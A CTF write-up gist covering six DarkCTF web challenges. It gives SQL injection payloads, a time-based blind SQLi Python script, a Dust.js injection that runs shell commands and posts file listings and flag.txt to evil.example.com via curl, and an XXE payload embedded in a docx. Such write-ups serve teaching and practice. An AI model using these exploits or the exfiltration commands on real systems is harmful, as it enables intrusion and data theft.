Skip to content

Instantly share code, notes, and snippets.

@arkark

arkark/darkctf.md

Last active Sep 27, 2020
Embed
What would you like to do?
DarkCTF writeup

DarkCTF writeups

https://ctftime.org/event/1118

Web/Apache Logs (431 solves / 113 points)

The following is suspicious because the payload is long and it contains union+all+select.

192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"

decodeURI↓

http://192.168.32.134/mutillidae/index.php?page=user-info.php&username='+union+all+select+1,String.fromCharCode(102,+108,+97,+103,+32,+105,+115,+32,+68,+97,+114,+107,+67,+84,+70,+123,+53,+113,+108,+95,+49,+110,+106,+51,+99,+116,+49,+48,+110,+125),3+--+&password=&user-info-php-submit-button=View+Account+Details
$ python -c 'print("".join(list(map(chr, [102,108,97,103,32,105,115,32,68,97,114,107,67,84,70,123,53,113,108,95,49,110,106,51,99,116,49,48,110,125]))))'
flag is DarkCTF{5ql_1nj3ct10n}

Flag: DarkCTF{5ql_1nj3ct10n}

Web/Simple_SQL (378 solves / 129 points)

SQL Injection.

location = "http://simplesql.darkarmy.xyz/?id=" + encodeURIComponent('1" = "1" AND False UNION SELECT "xxx", GROUP_CONCAT(table_name), "xxx" FROM information_schema.columns WHERE column_name = "username" #')

Username : servers,uagents,users Password : xxx

It shows that the target table name is either servers, uagents, or users.

location = "http://simplesql.darkarmy.xyz/?id=" + encodeURIComponent('1" = "1" AND False UNION SELECT "xxx", GROUP_CONCAT(username), GROUP_CONCAT(password) FROM users #')

Username : LOL,Try,fake,its secure,not,dont read,try to think ,admin,flag Password : Try ,another,p@ssword,dont try to hack,easy,my database,new,password,darkCTF{it_is_very_easy_to_find}

Flag: darkCTF{it_is_very_easy_to_find}

Web/So_Simple (300 solves / 173 points)

SQL Injection.

location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("1'")

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

It shows that we can do SQLi and it is useful to use LIMIT.

location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("aaa' OR 1=1 LIMIT 1,1#")

Your Login name:Try Your Password:another

location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("aaa' OR 1=1 LIMIT 2,1#")

Your Login name:fake Your Password:p@ssword

...

location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("aaa' OR 1=1 LIMIT 8,1#")

Your Login name:flag Your Password:darkCTF{uniqu3_ide4_t0_find_fl4g}

Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}

Web/Agent-U (108 solves / 395 points)

flag format darkCTF{databasename}

$ http --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin"

Then, user-agent was displayed in the web page.

$ http --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin" submit="Submit" "User-Agent:aaa'xxx"

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xxx', '{IP ADDRESS}', 'admin')' at line 1

It shows we can do SQLi.

$ http -v --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin" submit="Submit" "User-Agent:aaa') #"

Column count doesn't match value count at row 1

Error occurred.

$ http -v --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin" submit="Submit" "User-Agent:aaa', 'aaa', 'aaa') # "

No error. Then, I understood that the SQL statement is an insert statement.

Ok, I wrote a script exploit-agent-u.py to identify the database name. I used time-based SQL injection with IF(database() LIKE '{prefix}%', sleep(3), 0).

$ python exploit-agent-u.py

a
ag
ag3
ag3n
ag3nt
ag3nt_
ag3nt_u
ag3nt_u_
ag3nt_u_1
ag3nt_u_1s
ag3nt_u_1s_
ag3nt_u_1s_v
ag3nt_u_1s_v3
ag3nt_u_1s_v3r
ag3nt_u_1s_v3ry
ag3nt_u_1s_v3ry_
ag3nt_u_1s_v3ry_t
ag3nt_u_1s_v3ry_t3
ag3nt_u_1s_v3ry_t3l
ag3nt_u_1s_v3ry_t3l3
ag3nt_u_1s_v3ry_t3l3n
ag3nt_u_1s_v3ry_t3l3nt
ag3nt_u_1s_v3ry_t3l3nt3
ag3nt_u_1s_v3ry_t3l3nt3d
result: ag3nt_u_1s_v3ry_t3l3nt3d

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}

Web/Dusty Notes (47 solves / 462 points)

I tried some queries as follows:

location = "http://dusty.darkarmy.xyz/addNotes?message[]=aaaa&message[]=bbb"

aaaa,bbb

location = "http://dusty.darkarmy.xyz/addNotes?message[xxx]=aaaa"

[object Object]

location = "http://dusty.darkarmy.xyz/addNotes?message[toString]=aaaa"

{"stack":"TypeError: Cannot convert object to primitive value\n at Tap.head (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:121:25)\n at Tap.go (/app/node_modules/dustjs-linkedin/lib/dust.js:812:19)\n at Chunk.write (/app/node_modules/dustjs-linkedin/lib/dust.js:556:19)\n at Chunk.reference (/app/node_modules/dustjs-linkedin/lib/dust.js:611:19)\n at body_4 (evalmachine.:1:1634)\n at Chunk.render (/app/node_modules/dustjs-linkedin/lib/dust.js:598:12)\n at Object.tap (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:123:8)\n at Object.if (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:213:27)\n at Chunk.helper (/app/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.:1:972)\n at Chunk.section (/app/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.:1:847)\n at /app/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Cannot convert object to primitive value"}

It shows that the server uses Dust.js.

I found the following article:

I tried this attack as follows:

location = "http://dusty.darkarmy.xyz/addNotes?message[]=" + encodeURIComponent("xxx' && require('child_process').exec('curl -X POST https://evil.example.com -d \"`ls -la .`\"') //")
total 108
drwxr-x---   1 root ctf   4096 Sep 25 09:18 .
drwxr-xr-x   1 root root  4096 Sep 25 09:18 ..
-rwxr-x---   1 root ctf   2752 Sep 25 08:35 app.js
drwxr-xr-x 186 root root  4096 Sep 25 09:18 node_modules
-rwxr-x---   1 root ctf  79779 Sep 13 22:27 package-lock.json
-rwxr-x---   1 root ctf    487 Sep 20 20:29 package.json
drwxr-x---   1 root ctf   4096 Aug 31 22:18 public
drwxr-x---   1 root ctf   4096 Sep 15 19:29 views
location = "http://dusty.darkarmy.xyz/addNotes?message[]=" + encodeURIComponent("xxx' && require('child_process').exec('curl -X POST https://evil.example.com -d \"`ls -la ..`\"') //")
total 80
drwxr-xr-x   1 root root 4096 Sep 25 09:18 .
drwxr-xr-x   1 root root 4096 Sep 25 09:18 ..
-rwxr-xr-x   1 root root    0 Sep 25 09:18 .dockerenv
drwxr-x---   1 root ctf  4096 Sep 25 09:18 app
drwxr-xr-x   2 root root 4096 Sep  8 07:00 bin
drwxr-xr-x   2 root root 4096 Jul 10 21:04 boot
drwxr-xr-x   5 root root  340 Sep 25 09:18 dev
drwxr-xr-x   1 root root 4096 Sep 25 09:18 etc
-rwxr-----   1 root root   38 Sep 25 09:16 flag.txt
drwxr-xr-x   1 root root 4096 Sep 25 09:16 home
drwxr-xr-x   1 root root 4096 Sep 16 15:24 lib
drwxr-xr-x   2 root root 4096 Sep  8 07:00 lib64
drwxr-xr-x   2 root root 4096 Sep  8 07:00 media
drwxr-xr-x   2 root root 4096 Sep  8 07:00 mnt
drwxr-xr-x   1 root root 4096 Sep 16 15:24 opt
dr-xr-xr-x 134 root root    0 Sep 25 09:18 proc
drwx------   1 root root 4096 Sep 25 09:18 root
drwxr-xr-x   3 root root 4096 Sep  8 07:00 run
drwxr-xr-x   2 root root 4096 Sep  8 07:00 sbin
drwxr-xr-x   2 root root 4096 Sep  8 07:00 srv
dr-xr-xr-x  13 root root    0 Sep 25 09:18 sys
drwxrwxrwt   1 root root 4096 Sep 25 09:05 tmp
drwxr-xr-x   1 root root 4096 Sep  8 07:00 usr
drwxr-xr-x   1 root root 4096 Sep  8 07:00 var
location = "http://dusty.darkarmy.xyz/addNotes?message[]=" + encodeURIComponent("xxx' && require('child_process').exec('curl -X POST https://evil.example.com -d \"`cat ../flag.txt`\"') //")
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

Web/File Reader (14 solves / 490 points)

I created a docx file xxxxxxxxxxxxxx.docx and uploaded it. Then, the following values were displayed:

  • File Name : xxxxxxxxxxxxxx.docx
  • Size : 12044
  • Mimetype : application/vnd.openxmlformats-officedocument.wordprocessingml.document
  • Number of pages : 1

This file can be extracted as a zip file because a docx file is a zip file.

$ unar xxxxxxxxxxxxxx.docx 
xxxxxxxxxxxxxx.docx: Zip
  [Content_Types].xml  (1312 B)... OK.
  _rels/.rels  (590 B)... OK.
  word/_rels/document.xml.rels  (817 B)... OK.
  word/document.xml  (2817 B)... OK.
  word/theme/theme1.xml  (8407 B)... OK.
  word/settings.xml  (3134 B)... OK.
  docProps/core.xml  (751 B)... OK.
  word/fontTable.xml  (1460 B)... OK.
  word/webSettings.xml  (803 B)... OK.
  word/styles.xml  (29326 B)... OK.
  docProps/app.xml  (711 B)... OK.
Successfully extracted to "xxxxxxxxxxxxxx".

Now, docProps/app.xml is:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>0</TotalTime><Pages>1</Pages><Words>2</Words><Characters>13</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>14</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>

<Pages>1</Pages> shows the number of pages is 1.

Then, I modified this file as follows with XXE (I guessed the flag path):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>0</TotalTime><Pages>&ent;</Pages><Words>2</Words><Characters>13</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>14</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>

Then I compressed these files as follows:

$ zip -r evil.docx *
  adding: [Content_Types].xml (deflated 74%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (deflated 61%)
  adding: docProps/ (stored 0%)
  adding: docProps/app.xml (deflated 46%)
  adding: docProps/core.xml (deflated 52%)
  adding: word/ (stored 0%)
  adding: word/styles.xml (deflated 90%)
  adding: word/webSettings.xml (deflated 62%)
  adding: word/document.xml (deflated 74%)
  adding: word/settings.xml (deflated 64%)
  adding: word/_rels/ (stored 0%)
  adding: word/_rels/document.xml.rels (deflated 71%)
  adding: word/theme/ (stored 0%)
  adding: word/theme/theme1.xml (deflated 80%)
  adding: word/fontTable.xml (deflated 65%)

I uploaded evil.docx, then the following values were displayed:

  • File Name : evil.docx
  • Size : 20977
  • Mimetype : application/vnd.openxmlformats-officedocument.wordprocessingml.document
  • Number of pages : darkCTF{1nj3ct1ng_d0cx_f0r_xx3}

Flag: darkCTF{1nj3ct1ng_d0cx_f0r_xx3}

import time
import string
import requests
url = "http://agent.darkarmy.xyz/"
data = {
"uname": "admin",
"passwd": "admin",
"submit": "Submit",
}
def validate_prefix(prefix):
time.sleep(0.2)
user_agent = f"aaa', IF(database() LIKE '{prefix}%', sleep(3), 0), 'aaa') #"
start = time.time()
res = requests.post(
url,
data=data,
headers={
"User-Agent": user_agent,
},
)
end = time.time()
return end - start > 2
chars = "_" + string.ascii_lowercase + string.digits
current_prefix = ""
while True:
print(current_prefix)
exists = False
for c in chars:
prefix = (current_prefix + c).replace("_", "\\_")
if validate_prefix(prefix):
current_prefix += c
exists = True
break
if not exists:
break
print("result:", current_prefix)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment